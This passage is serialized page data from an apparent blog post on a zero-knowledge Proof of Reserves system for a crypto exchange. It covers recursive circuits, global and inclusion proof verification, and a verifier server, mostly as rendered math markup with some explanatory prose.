51,"children":93953},{"className":93952,"style":91305},[2403],[93954],{"type":26,"value":1463},{"type":20,"tag":315,"props":93956,"children":93958},{"className":93957},[2403,19992],[93959],{"type":26,"value":54656},{"type":20,"tag":315,"props":93961,"children":93963},{"className":93962},[2403,19992],[93964],{"type":26,"value":91564},{"type":20,"tag":315,"props":93966,"children":93968},{"className":93967},[2403,19992],[93969],{"type":26,"value":49385},{"type":20,"tag":315,"props":93971,"children":93973},{"className":93972},[20143],[93974],{"type":26,"value":13812},{"type":20,"tag":315,"props":93976,"children":93978},{"className":93977,"style":2581},[2483],[],{"type":20,"tag":315,"props":93980,"children":93982},{"className":93981},[2586],[93983],{"type":26,"value":538},{"type":20,"tag":315,"props":93985,"children":93987},{"className":93986,"style":2581},[2483],[],{"type":20,"tag":315,"props":93989,"children":93991},{"className":93990},[2392],[93992,93996,94001,94006,94011,94016,94021,94078,94083,94088,94093,94098,94103,94108,94113,94118,94123,94128,94133,94138,94143,94148,94153,94158,94163,94168,94173,94178,94183,94188,94193],{"type":20,"tag":315,"props":93993,"children":93995},{"className":93994,"style":91247},[2397],[],{"type":20,"tag":315,"props":93997,"children":93999},{"className":93998},[2403,19992],[94000],{"type":26,"value":9052},{"type":20,"tag":315,"props":94002,"children":94004},{"className":94003},[2403,19992],[94005],{"type":26,"value":91564},{"type":20,"tag":315,"props":94007,"children":94009},{"className":94008},[2403,19992],[94010],{"type":26,"value":1604},{"type":20,"tag":315,"props":94012,"children":94014},{"className":94013},[2403,19992],[94015],{"type":26,"value":29},{"type":20,"tag":315,"props":94017,"children":94019},{"className":94018},[2403,19992],[94020],{"type":26,"value":93651},{"type":20,"tag":315,"props":94022,"children":94024},{"className":94023},[2403],[94025,94030],{"type":20,"tag":315,"props":94026,"children":94028},{"className":94027,"style":93659},[2403,19992],[94029],{"type":26,"value":31499},{"type":20,"tag":315,"props":94031,"children":94033},{"className":94032},[2419],[94034],{"type":20,"tag":315,"props":94035,"children":94037},{"className":94036},[2424,20046],[94038,94067],{"type":20,"tag":315,"props":94039,"children":94041},{"className":94040},[2429],[94042,94062],{"type":20,"tag":315,"props":94043,"children":94045},{"className":94044,"style":91834},[2434],[94046],{"type":20,"tag":315,"props":94047,"children":94048},{"style":93680},[94049,94053],{"type":20,"tag":315,"props":94050,"children":94052},{"className":94051,"style":2444},[2443],[],{"type":20,"tag":315,"props":94054,"children":94056},{"className":94055},[2449,2450,2451,2452],[94057],{"type":20,"tag":315,"props":94058,"children":94060},{"className":94059},[2403,19992,2452],[94061],{"type":26,"value":2122},{"type":20,"tag":315,"props":94063,"children":94065},{"className":94064},[20149],[94066],{"type":26,"value":20152},{"type":20,"tag":315,"props":94068,"children":94070},{"className":94069},[2429],[94071],{"type":20,"tag":315,"props":94072,"children":94074},{"className":94073,"style":91388},[2434],[94075],{"type":20,"tag":315,"props":94076,"children":94077},{},[],{"type":20,"tag":315,"props":94079,"children":94081},{"className":94080},[2403],[94082],{"type":26,"value":61},{"type":20,"tag":315,"props":94084,"children":94086},{"className":94085},[2403,19992],[94087],{"type":26,"value":29},{"type":20,"tag":315,"props":94089,"children":94091},{"className":94090},[2403,19992],[94092],{"type":26,"value":91564},{"type":20,"tag":315,"props":94094,"children":94096},{"className":94095},[2403,19992],[94097],{"type":26,"value":1604},{"type":20,"tag":315,"props":94099,"children":94101},{"className":94100,"style":91317},[2403,19992],[94102],{"type":26,"value":91320},{"type":20,"tag":315,"props":94104,"children":94106},{"className":94105},[2403,19992],[94107],{"type":26,"value":2122},{"type":20,"tag":315,"props":94109,"children":94111},{"className":94110},[2403,19992],[94112],{"type":26,"value":1528},{"type":20,"tag":315,"props":94114,"children":94116},{"className":94115,"style":91305},[2403],[94117],{"type":26,"value":1463},{"type":20,"tag":315,"props":94119,"children":94121},{"className":94120},[2403,19992],[94122],{"type":26,"value":93756},{"type":20,"tag":315,"props":94124,"children":94126},{"className":94125},[2403,19992],[94127],{"type":26,"value":29},{"type":20,"tag":315,"props":94129,"children":94131},{"className":94130},[2403,19992],[94132],{"type":26,"value":91564},{"type":20,"tag":315,"props":94134,"children":94136},{"className":94135},[2403,19992],[94137],{"type":26,"value":20134},{"type":20,"tag":315,"props":94139,"children":94141},{"className":94140},[2403],[94142],{"type":26,"value":61},{"type":20,"tag":315,"props":94144,"children":94146},{"className":94145},[2403,19992],[94147],{"type":26,"value":35},{"type":20,"tag":315,"props":94149,"children":94151},{"className":94150},[2403,19992],[94152],{"type":26,"value":91296},{"type":20,"tag":315,"props":94154,"children":94156},{"className":94155},[2403,19992],[94157],{"type":26,"value":20134},{"type":20,"tag":315,"props":94159,"children":94161},{"className":94160,"style":91305},[2403],[94162],{"type":26,"value":1463},{"type":20,"tag":315,"props":94164,"children":94166},{"className":94165},[2403,19992],[94167],{"type":26,"value":29},{"type":20,"tag":315,"props":94169,"children":94171},{"className":94170,"style":91305},[2403,19992],[94172],{"type":26,"value":92124},{"type":20,"tag":315,"props":94174,"children":94176},{"className":94175},[2403,19992],[94177],{"type":26,"value":2122},{"type":20,"tag":315,"props":94179,"children":94181},{"className":94180},[2403,19992],[94182],{"type":26,"value":92135},{"type":20,"tag":315,"props":94184,"children":94186},{"className":94185},[20121],[94187],{"type":26,"value":2117},{"type":20,"tag":315,"props":94189,"children":94191},{"className":94190},[2403],[94192],{"type":26,"value":1063},{"type":20,"tag":315,"props":94194,"children":94196},{"className":94195},[20143],[94197],{"type":26,"value":13812},{"type":20,"tag":72,"props":94199,"children":94200},{},[94201,94559,94560],{"type":20,"tag":119,"props":94202,"children":94204},{"className":94203},[2375,2376],[94205],{"type":20,"tag":315,"props":94206,"children":94208},{"className":94207},[2381],[94209],{"type":20,"tag":315,"props":94210,"children":94212},{"className":94211,"ariaHidden":2387},[2386],[94213,94319],{"type":20,"tag":315,"props":94214,"children":94216},{"className":94215},[2392],[94217,94221,94226,94231,94236,94241,94246,94251,94256,94261,94266,94271,94276,94281,94286,94291,94296,94301,94306,94310,94315],{"type":20,"tag":315,"props":94218,"children":94220},{"className":94219,"style":91247},[2397],[],{"type":20,"tag":315,"props":94222,"children":94224},{"className":94223},[2403,19992],[94225],{"type":26,"value":35},{"type":20,"tag":315,"props":94227,"children":94229},{"className":94228},[2403,19992],[94230],{"type":26,"value":91296},{"type":20,"tag":315,"props":94232,"children":94234},{"className":94233},[2403,19992],[94235],{"type":26,"value":20134},{"type":20,"tag":315,"props":94237,"children":94239},{"className":94238,"style":91305},[2403],[94240],{"type":26,"value":1463},{"type":20,"tag":315,"props":94242,"children":94244},{"className":94243},[2403,19992],[94245],{"type":26,"value":29},{"type":20,"tag":315,"props":94247,"children":94249},{"className":94248,"style":91305},[2403,19992],[94250],{"type":26,"value":92124},{"type":20,"tag":315,"props":94252,"children":94254},{"className":94253},[2403,19992],[94255],{"type":26,"value":2122},{"type":20,"tag":315,"props":94257,"children":94259},{"className":94258},[2403,19992],[94260],{"type":26,"value":91332},{"type":20,"tag":315,"props":94262,"children":94264},{"className":94263},[20121],[94265],{"type":26,"value":2117},{"type":20,"tag":315,"props":94267,"children":94269},{"className":94268},[2403,19992],[94270],{"type":26,"value":35},{"type":20,"tag":315,"props":94272,"children":94274},{"className":94273},[2403,19992],[94275],{"type":26,"value":91296},{"type":20,"tag":315,"props":94277,"children":94279},{"className":94278},[2403,19992],[94280],{"type":26,"value":20134},{"type":20,"tag":315,"props":94282,"children":94284},{"className":94283,"style":91305},[2403],[94285],{"type":26,"value":1463},{"type":20,"tag":315,"props":94287,"children":94289},{"className":94288},[2403,19992],[94290],{"type":26,"value":54656},{"type":20,"tag":315,"props":94292,"children":94294},{"className":94293},[2403,19992],[94295],{"type":26,"value":91564},{"type":20,"tag":315,"props":94297,"children":94299},{"className":94298},[2403,19992],[94300],{"type":26,"value":49385},{"type":20,"tag":315,"props":94302,"children":94304},{"className":94303},[20143],[94305],{"type":26,"value":13812},{"type":20,"tag":315,"props":94307,"children":94309},{"className":94308,"style":2581},[2483],[],{"type":20,"tag":315,"props":94311,"children":94313},{"className":94312},[2586],[94314],{"type":26,"value":538},{"type":20,"tag":315,"props":94316,"children":94318},{"className":94317,"style":2581},[2483],[],{"type":20,"tag":315,"props":94320,"children":94322},{"className":94321},[2392],[94323,94327,94332,94337,94342,94347,94352,94409,94414,94419,94424,94429,94434,94439,94444,94449,94454,94459,94464,94469,94474,94479,94484,94489,94494,94499,94504,94509,94514,94519,94524,94529,94534,94539,94544,94549,94554],{"type":20,"tag":315,"props":94324,"children":94326},{"className":94325,"style":91247},[2397],[],{"type":20,"tag":315,"props":94328,"children":94330},{"className":94329},[2403,19992],[94331],{"type":26,"value":9052},{"type":20,"tag":315,"props":94333,"children":94335},{"className":94334},[2403,19992],[94336],{"type":26,"value":91564},{"type":20,"tag":315,"props":94338,"children":94340},{"className":94339},[2403,19992],[94341],{"type":26,"value":1604},{"type":20,"tag":315,"props":94343,"children":94345},{"className":94344},[2403,19992],[94346],{"type":26,"value":29},{"type":20,"tag":315,"props":94348,"children":94350},{"className":94349},[2403,19992],[94351],{"type":26,"value":93651},{"type":20,"tag":315,"props":94353,"children":94355},{"className":94354},[2403],[94356,94361],{"type":20,"tag":315,"props":94357,"children":94359},{"className":94358,"style":93659},[2403,19992],[94360],{"type":26,"value":31499},{"type":20,"tag":315,"props":94362,"children":94364},{"className":94363},[2419],[94365],{"type":20,"tag":315,"props":94366,"children":94368},{"className":94367},[2424,20046],[94369,94398],{"type":20,"tag":315,"props":94370,"children":94372},{"className":94371},[2429],[94373,94393],{"type":20,"tag":315,"props":94374,"children":94376},{"className":94375,"style":91834},[2434],[94377],{"type":20,"tag":315,"props":94378,"children":94379},{"style":93680},[94380,94384],{"type":20,"tag":315,"props":94381,"children":94383},{"className":94382,"style":2444},[2443],[],{"type":20,"tag":315,"props":94385,"children":94387},{"className":94386},[2449,2450,2451,2452],[94388],{"type":20,"tag":315,"props":94389,"children":94391},{"className":94390},[2403,19992,2452],[94392],{"type":26,"value":2122},{"type":20,"tag":315,"props":94394,"children":94396},{"className":94395},[20149],[94397],{"type":26,"value":20152},{"type":20,"tag":315,"props":94399,"children":94401},{"className":94400},[2429],[94402],{"type":20,"tag":315,"props":94403,"children":94405},{"className":94404,"style":91388},[2434],[94406],{"type":20,"tag":315,"props":94407,"children":94408},{},[],{"type":20,"tag":315,"props":94410,"children":94412},{"className":94411},[2403],[94413],{"type":26,"value":61},{"type":20,"tag":315,"props":94415,"children":94417},{"className":94416},[2403,19992],[94418],{"type":26,"value":29},{"type":20,"tag":315,"props":94420,"children":94422},{"className":94421},[2403,19992],[94423],{"type":26,"value":91564},{"type":20,"tag":315,"props":94425,"children":94427},{"className":94426},[2403,19992],[94428],{"type":26,"value":1604},{"type":20,"tag":315,"props":94430,"children":94432},{"className":94431,"style":91317},[2403,19992],[94433],{"type":26,"value":91320},{"type":20,"tag":315,"props":94435,"children":94437},{"className":94436},[2403,19992],[94438],{"type":26,"value":2122},{"type":20,"tag":315,"props":94440,"children":94442},{"className":94441},[2403,19992],[94443],{"type":26,"value":1528},{"type":20,"tag":315,"props":94445,"children":94447},{"className":94446,"style":91305},[2403],[94448],{"type":26,"value":1463},{"type":20,"tag":315,"props":94450,"children":94452},{"className":94451},[2403,19992],[94453],{"type":26,"value":93756},{"type":20,"tag":315,"props":94455,"children":94457},{"className":94456},[2403,19992],[94458],{"type":26,"value":29},{"type":20,"tag":315,"props":94460,"children":94462},{"className":94461},[2403,19992],[94463],{"type":26,"value":91564},{"type":20,"tag":315,"props":94465,"children":94467},{"className":94466},[2403,19992],[94468],{"type":26,"value":20134},{"type":20,"tag":315,"props":94470,"children":94472},{"className":94471},[2403],[94473],{"type":26,"value":61},{"type":20,"tag":315,"props":94475,"children":94477},{"className":94476},[2403,19992],[94478],{"type":26,"value":35},{"type":20,"tag":315,"props":94480,"children":94482},{"className":94481},[2403,19992],[94483],{"type":26,"value":91296},{"type":20,"tag":315,"props":94485,"children":94487},{"className":94486},[2403,19992],[94488],{"type":26,"value":20134},{"type":20,"tag":315,"props":94490,"children":94492},{"className":94491,"style":91305},[2403],[94493],{"type":26,"value":1463},{"type":20,"tag":315,"props":94495,"children":94497},{"className":94496},[2403,19992],[94498],{"type":26,"value":29},{"type":20,"tag":315,"props":94500,"children":94502},{"className":94501,"style":91305},[2403,19992],[94503],{"type":26,"value":92124},{"type":20,"tag":315,"props":94505,"children":94507},{"className":94506},[2403,19992],[94508],{"type":26,"value":2122},{"type":20,"tag":315,"props":94510,"children":94512},{"className":94511},[2403,19992],[94513],{"type":26,"value":92135},{"type":20,"tag":315,"props":94515,"children":94517},{"className":94516},[20121],[94518],{"type":26,"value":2117},{"type":20,"tag":315,"props":94520,"children":94522},{"className":94521},[2403,19992],[94523],{"type":26,"value":35},{"type":20,"tag":315,"props":94525,"children":94527},{"className":94526},[2403,19992],[94528],{"type":26,"value":91296},{"type":20,"tag":315,"props":94530,"children":94532},{"className":94531},[2403,19992],[94533],{"type":26,"value":20134},{"type":20,"tag":315,"props":94535,"children":94537},{"className":94536,"style":91305},[2403],[94538],{"type":26,"value":1463},{"type":20,"tag":315,"props":94540,"children":94542},{"className":94541},[2403,19992],[94543],{"type":26,"value":54656},{"type":20,"tag":315,"props":94545,"children":94547},{"className":94546},[2403,19992],[94548],{"type":26,"value":91564},{"type":20,"tag":315,"props":94550,"children":94552},{"className":94551},[2403,19992],[94553],{"type":26,"value":49385},{"type":20,"tag":315,"props":94555,"children":94557},{"className":94556},[20143],[94558],{"type":26,"value":13812},{"type":26,"value":4852},{"type":20,"tag":3717,"props":94561,"children":94562},{},[94563],{"type":26,"value":94564},"(verifies if all asset prices are the same)",{"type":20,"tag":72,"props":94566,"children":94567},{},[94568,94947,94948],{"type":20,"tag":119,"props":94569,"children":94571},{"className":94570},[2375,2376],[94572],{"type":20,"tag":315,"props":94573,"children":94575},{"className":94574},[2381],[94576],{"type":20,"tag":315,"props":94577,"children":94579},{"className":94578,"ariaHidden":2387},[2386],[94580,94661],{"type":20,"tag":315,"props":94581,"children":94583},{"className":94582},[2392],[94584,94588,94593,94598,94603,94608,94613,94618,94623,94628,94633,94638,94643,94648,94652,94657],{"type":20,"tag":315,"props":94585,"children":94587},{"className":94586,"style":92718},[2397],[],{"type":20,"tag":315,"props":94589,"children":94591},{"className":94590},[2403,19992],[94592],{"type":26,"value":49385},{"type":20,"tag":315,"props":94594,"children":94596},{"className":94595,"style":91305},[2403,19992],[94597],{"type":26,"value":92730},{"type":20,"tag":315,"props":94599,"children":94601},{"className":94600,"style":92734},[2403,19992],[94602],{"type":26,"value":86942},{"type":20,"tag":315,"props":94604,"children":94606},{"className":94605,"style":91317},[2403,19992],[94607],{"type":26,"value":91320},{"type":20,"tag":315,"props":94609,"children":94611},{"className":94610},[2403,19992],[94612],{"type":26,"value":49706},{"type":20,"tag":315,"props":94614,"children":94616},{"className":94615,"style":91305},[2403],[94617],{"type":26,"value":1463},{"type":20,"tag":315,"props":94619,"children":94621},{"className":94620},[2403,19992],[94622],{"type":26,"value":20134},{"type":20,"tag":315,"props":94624,"children":94626},{"className":94625},[2403,19992],[94627],{"type":26,"value":92762},{"type":20,"tag":315,"props":94629,"children":94631},{"className":94630,"style":91305},[2403],[94632],{"type":26,"value":1463},{"type":20,"tag":315,"props":94634,"children":94636},{"className":94635},[2403,19992],[94637],{"type":26,"value":92773},{"type":20,"tag":315,"props":94639,"children":94641},{"className":94640},[2403,19992],[94642],{"type":26,"value":9052},{"type":20,"tag":315,"props":94644,"children":94646},{"className":94645},[2403,19992],[94647],{"type":26,"value":82603},{"type":20,"tag":315,"props":94649,"children":94651},{"className":94650,"style":2581},[2483],[],{"type":20,"tag":315,"props":94653,"children":94655},{"className":94654},[2586],[94656],{"type":26,"value":538},{"type":20,"tag":315,"props":94658,"children":94660},{"className":94659,"style":2581},[2483],[],{"type":20,"tag":315,"props":94662,"children":94664},{"className":94663},[2392],[94665,94669,94674,94679,94684,94689,94694,94699,94704,94709,94714,94771,94776,94780,94785,94790,94847,94852,94856,94861,94866,94870,94875,94880,94942],{"type":20,"tag":315,"props":94666,"children":94668},{"className":94667,"style":2504},[2397],[],{"type":20,"tag":315,"props":94670,"children":94672},{"className":94671,"style":19993},[2403,19992],[94673],{"type":26,"value":19996},{"type":20,"tag":315,"props":94675,"children":94677},{"className":94676},[2403,19992],[94678],{"type":26,"value":91259},{"type":20,"tag":315,"props":94680,"children":94682},{"className":94681},[2403,19992],[94683],{"type":26,"value":2122},{"type":20,"tag":315,"props":94685,"children":94687},{"className":94686},[2403,19992],[94688],{"type":26,"value":68820},{"type":20,"tag":315,"props":94690,"children":94692},{"className":94691},[2403,19992],[94693],{"type":26,"value":91275},{"type":20,"tag":315,"props":94695,"children":94697},{"className":94696},[2403,19992],[94698],{"type":26,"value":54656},{"type":20,"tag":315,"props":94700,"children":94702},{"className":94701},[20121],[94703],{"type":26,"value":1049},{"type":20,"tag":315,"props":94705,"children":94707},{"className":94706},[2403,19992],[94708],{"type":26,"value":92773},{"type":20,"tag":315,"props":94710,"children":94712},{"className":94711},[2403,19992],[94713],{"type":26,"value":9052},{"type":20,"tag":315,"props":94715,"children":94717},{"className":94716},[2403],[94718,94723],{"type":20,"tag":315,"props":94719,"children":94721},{"className":94720},[2403,19992],[94722],{"type":26,"value":82603},{"type":20,"tag":315,"props":94724,"children":94726},{"className":94725},[2419],[94727],{"type":20,"tag":315,"props":94728,"children":94730},{"className":94729},[2424,20046],[94731,94760],{"type":20,"tag":315,"props":94732,"children":94734},{"className":94733},[2429],[94735,94755],{"type":20,"tag":315,"props":94736,"children":94738},{"className":94737,"style":91357},[2434],[94739],{"type":20,"tag":315,"props":94740,"children":94741},{"style":91361},[94742,94746],{"type":20,"tag":315,"props":94743,"children":94745},{"className":94744,"style":2444},[2443],[],{"type":20,"tag":315,"props":94747,"children":94749},{"className":94748},[2449,2450,2451,2452],[94750],{"type":20,"tag":315,"props":94751,"children":94753},{"className":94752},[2403,2452],[94754],{"type":26,"value":1063},{"type":20,"tag":315,"props":94756,"children":94758},{"className":94757},[20149],[94759],{"type":26,"value":20152},{"type":20,"tag":315,"props":94761,"children":94763},{"className":94762},[2429],[94764],{"type":20,"tag":315,"props":94765,"children":94767},{"className":94766,"style":91388},[2434],[94768],{"type":20,"tag":315,"props":94769,"children":94770},{},[],{"type":20,"tag":315,"props":94772,"children":94774},{"className":94773},[2515],[94775],{"type":26,"value":2518},{"type":20,"tag":315,"props":94777,"children":94779},{"className":94778,"style":2522},[2483],[],{"type":20,"tag":315,"props":94781,"children":94783},{"className":94782},[2403,19992],[94784],{"type":26,"value":92773},{"type":20,"tag":315,"props":94786,"children":94788},{"className":94787},[2403,19992],[94789],{"type":26,"value":9052},{"type":20,"tag":315,"props":94791,"children":94793},{"className":94792},[2403],[94794,94799],{"type":20,"tag":315,"props":94795,"children":94797},{"className":94796},[2403,19992],[94798],{"type":26,"value":82603},{"type":20,"tag":315,"props":94800,"children":94802},{"className":94801},[2419],[94803],{"type":20,"tag":315,"props":94804,"children":94806},{"className":94805},[2424,20046],[94807,94836],{"type":20,"tag":315,"props":94808,"children":94810},{"className":94809},[2429],[94811,94831],{"type":20,"tag":315,"props":94812,"children":94814},{"className":94813,"style":91357},[2434],[94815],{"type":20,"tag":315,"props":94816,"children":94817},{"style":91361},[94818,94822],{"type":20,"tag":315,"props":94819,"children":94821},{"className":94820,"style":2444},[2443],[],{"type":20,"tag":315,"props":94823,"children":94825},{"className":94824},[2449,2450,2451,2452],[94826],{"type":20,"tag":315,"props":94827,"children":94829},{"className":94828},[2403,2452],[94830],{"type":26,"value":2406},{"type":20,"tag":315,"props":94832,"children":94834},{"className":94833},[20149],[94835],{"type":26,"value":20152},{"type":20,"tag":315,"props":94837,"children":94839},{"className":94838},[2429],[94840],{"type":20,"tag":315,"props":94841,"children":94843},{"className":94842,"style":91388},[2434],[94844],{"type":20,"tag":315,"props":94845,"children":94846},{},[],{"type":20,"tag":315,"props":94848,"children":94850},{"className":94849},[2515],[94851],{"type":26,"value":2518},{"type":20,"tag":315,"props":94853,"children":94855},{"className":94854,"style":2522},[2483],[],{"type":20,"tag":315,"props":94857,"children":94859},{"className":94858},[2403],[94860],{"type":26,"value":7990},{"type":20,"tag":315,"props":94862,"children":94864},{"className":94863},[2515],[94865],{"type":26,"value":2518},{"type":20,"tag":315,"props":94867,"children":94869},{"className":94868,"style":2522},[2483],[],{"type":20,"tag":315,"props":94871,"children":94873},{"className":94872},[2403,19992],[94874],{"type":26,"value":92773},{"type":20,"tag":315,"props":94876,"children":94878},{"className":94877},[2403,19992],[94879],{"type":26,"value":9052},{"type":20,"tag":315,"props":94881,"children":94883},{"className":94882},[2403],[94884,94889],{"type":20,"tag":315,"props":94885,"children":94887},{"className":94886},[2403,19992],[94888],{"type":26,"value":82603},{"type":20,"tag":315,"props":94890,"children":94892},{"className":94891},[2419],[94893],{"type":20,"tag":315,"props":94894,"children":94896},{"className":94895},[2424,20046],[94897,94931],{"type":20,"tag":315,"props":94898,"children":94900},{"className":94899},[2429],[94901,94926],{"type":20,"tag":315,"props":94902,"children":94904},{"className":94903,"style":91357},[2434],[94905],{"type":20,"tag":315,"props":94906,"children":94907},{"style":91361},[94908,94912],{"type":20,"tag":315,"props":94909,"children":94911},{"className":94910,"style":2444},[2443],[],{"type":20,"tag":315,"props":94913,"children":94915},{"className":94914},[2449,2450,2451,2452],[94916],{"type":20,"tag":315,"props":94917,"children":94919},{"className":94918},[2403,2452],[94920],{"type":20,"tag":315,"props":94921,"children":94923},{"className":94922},[2403,2452],[94924],{"type":26,"value":94925},"31",{"type":20,"tag":315,"props":94927,"children":94929},{"className":94928},[20149],[94930],{"type":26,"value":20152},{"type":20,"tag":315,"props":94932,"children":94934},{"className":94933},[2429],[94935],{"type":20,"tag":315,"props":94936,"children":94938},{"className":94937,"style":91388},[2434],[94939],{"type":20,"tag":315,"props":94940,"children":94941},{},[],{"type":20,"tag":315,"props":94943,"children":94945},{"className":94944},[20143],[94946],{"type":26,"value":1509},{"type":26,"value":4852},{"type":20,"tag":3717,"props":94949,"children":94950},{},[94951],{"type":26,"value":93093},{"type":20,"tag":72,"props":94953,"children":94954},{},[94955,94960,94961],{"type":20,"tag":55,"props":94956,"children":94957},{},[94958],{"type":26,"value":94959},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":26,"value":4852},{"type":20,"tag":3717,"props":94962,"children":94963},{},[94964],{"type":26,"value":93377},{"type":20,"tag":29,"props":94966,"children":94967},{},[94968],{"type":26,"value":94969},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":20,"tag":29,"props":94971,"children":94972},{},[94973],{"type":20,"tag":2308,"props":94974,"children":94976},{"alt":48830,"src":94975},"/posts/por/recursive-circuit.png",[],{"type":20,"tag":21,"props":94978,"children":94980},{"id":94979},"global-proof-and-inclusion-proofs",[94981],{"type":26,"value":94982},"Global Proof and Inclusion Proofs",{"type":20,"tag":219,"props":94984,"children":94985},{"id":7680},[94986],{"type":26,"value":94987},"Proving",{"type":20,"tag":29,"props":94989,"children":94990},{},[94991,94993,94999,95000,95006,95007,95013],{"type":26,"value":94992},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":20,"tag":119,"props":94994,"children":94996},{"className":94995},[],[94997],{"type":26,"value":94998},"merkle_tree.json",{"type":26,"value":44},{"type":20,"tag":119,"props":95001,"children":95003},{"className":95002},[],[95004],{"type":26,"value":95005},"final_proof.json",{"type":26,"value":4882},{"type":20,"tag":119,"props":95008,"children":95010},{"className":95009},[],[95011],{"type":26,"value":95012},"private_nonces.json",{"type":26,"value":95014}," files.",{"type":20,"tag":29,"props":95016,"children":95017},{},[95018],{"type":26,"value":95019},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":20,"tag":29,"props":95021,"children":95022},{},[95023,95025,95031,95033,95038],{"type":26,"value":95024},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":20,"tag":119,"props":95026,"children":95028},{"className":95027},[],[95029],{"type":26,"value":95030},"inclusion_proof_\u003Cid>.json",{"type":26,"value":95032},"). ",{"type":20,"tag":55,"props":95034,"children":95035},{},[95036],{"type":26,"value":95037},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":26,"value":61},{"type":20,"tag":219,"props":95040,"children":95042},{"id":95041},"verifying",[95043],{"type":26,"value":95044},"Verifying",{"type":20,"tag":29,"props":95046,"children":95047},{},[95048],{"type":20,"tag":3717,"props":95049,"children":95050},{},[95051],{"type":26,"value":95052},"Global Proof",{"type":20,"tag":29,"props":95054,"children":95055},{},[95056,95058,95063,95064,95069],{"type":26,"value":95057},"To verify the global proof, the code deserializes the ",{"type":20,"tag":119,"props":95059,"children":95061},{"className":95060},[],[95062],{"type":26,"value":94998},{"type":26,"value":35966},{"type":20,"tag":119,"props":95065,"children":95067},{"className":95066},[],[95068],{"type":26,"value":95005},{"type":26,"value":95070}," files and performs these checks:",{"type":20,"tag":68,"props":95072,"children":95073},{},[95074,95079,95084,95089,95115],{"type":20,"tag":72,"props":95075,"children":95076},{},[95077],{"type":26,"value":95078},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":20,"tag":72,"props":95080,"children":95081},{},[95082],{"type":26,"value":95083},"Verify the ZK final proof.",{"type":20,"tag":72,"props":95085,"children":95086},{},[95087],{"type":26,"value":95088},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":20,"tag":72,"props":95090,"children":95091},{},[95092,95094,95100,95102,95107,95108,95113],{"type":26,"value":95093},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":20,"tag":119,"props":95095,"children":95097},{"className":95096},[],[95098],{"type":26,"value":95099},"merkle_tree_hash",{"type":26,"value":95101}," public input. This ensures that the ",{"type":20,"tag":119,"props":95103,"children":95105},{"className":95104},[],[95106],{"type":26,"value":94998},{"type":26,"value":9392},{"type":20,"tag":119,"props":95109,"children":95111},{"className":95110},[],[95112],{"type":26,"value":95005},{"type":26,"value":95114}," are linked (they belong to the same global proof).",{"type":20,"tag":72,"props":95116,"children":95117},{},[95118],{"type":26,"value":95119},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":20,"tag":29,"props":95121,"children":95122},{},[95123],{"type":20,"tag":3717,"props":95124,"children":95125},{},[95126],{"type":26,"value":95127},"Inclusion Proof",{"type":20,"tag":29,"props":95129,"children":95130},{},[95131,95133,95138,95140,95145],{"type":26,"value":95132},"To verify the inclusion proof, the code deserializes the ",{"type":20,"tag":119,"props":95134,"children":95136},{"className":95135},[],[95137],{"type":26,"value":95030},{"type":26,"value":95139}," file and also the ",{"type":20,"tag":119,"props":95141,"children":95143},{"className":95142},[],[95144],{"type":26,"value":95005},{"type":26,"value":95146},". After that, it performs these checks:",{"type":20,"tag":68,"props":95148,"children":95149},{},[95150,95154,95159,95164],{"type":20,"tag":72,"props":95151,"children":95152},{},[95153],{"type":26,"value":95083},{"type":20,"tag":72,"props":95155,"children":95156},{},[95157],{"type":26,"value":95158},"Verify if the Merkle tree root is the same as in the final proof.",{"type":20,"tag":72,"props":95160,"children":95161},{},[95162],{"type":26,"value":95163},"Recalculate the user-related node leaf hash.",{"type":20,"tag":72,"props":95165,"children":95166},{},[95167],{"type":26,"value":95168},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":20,"tag":21,"props":95170,"children":95172},{"id":95171},"por-verifier-server",[95173],{"type":26,"value":95174},"PoR Verifier Server",{"type":20,"tag":29,"props":95176,"children":95177},{},[95178,95180,95186],{"type":26,"value":95179},"To automate the verification process, we created a ",{"type":20,"tag":35,"props":95181,"children":95183},{"href":90816,"rel":95182},[39],[95184],{"type":26,"value":95185},"verifier server",{"type":26,"value":95187}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":20,"tag":29,"props":95189,"children":95190},{},[95191],{"type":26,"value":95192},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":20,"tag":29,"props":95194,"children":95195},{},[95196],{"type":20,"tag":2308,"props":95197,"children":95199},{"alt":48830,"src":95198},"/posts/por/backpack-por.png",[],{"type":20,"tag":29,"props":95201,"children":95202},{},[95203],{"type":26,"value":95204},"Here is a breakdown of what fields represent and why they are required:",{"type":20,"tag":15089,"props":95206,"children":95207},{},[95208,95218,95228,95238,95248,95258],{"type":20,"tag":72,"props":95209,"children":95210},{},[95211,95216],{"type":20,"tag":3717,"props":95212,"children":95213},{},[95214],{"type":26,"value":95215},"Status",{"type":26,"value":95217}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":20,"tag":72,"props":95219,"children":95220},{},[95221,95226],{"type":20,"tag":3717,"props":95222,"children":95223},{},[95224],{"type":26,"value":95225},"Proof Timestamp",{"type":26,"value":95227}," --> when the proof was generated by the exchange.",{"type":20,"tag":72,"props":95229,"children":95230},{},[95231,95236],{"type":20,"tag":3717,"props":95232,"children":95233},{},[95234],{"type":26,"value":95235},"Verify Timestamp",{"type":26,"value":95237}," --> when the proof was verified by the PoR server.",{"type":20,"tag":72,"props":95239,"children":95240},{},[95241,95246],{"type":20,"tag":3717,"props":95242,"children":95243},{},[95244],{"type":26,"value":95245},"Proof File URL",{"type":26,"value":95247}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity 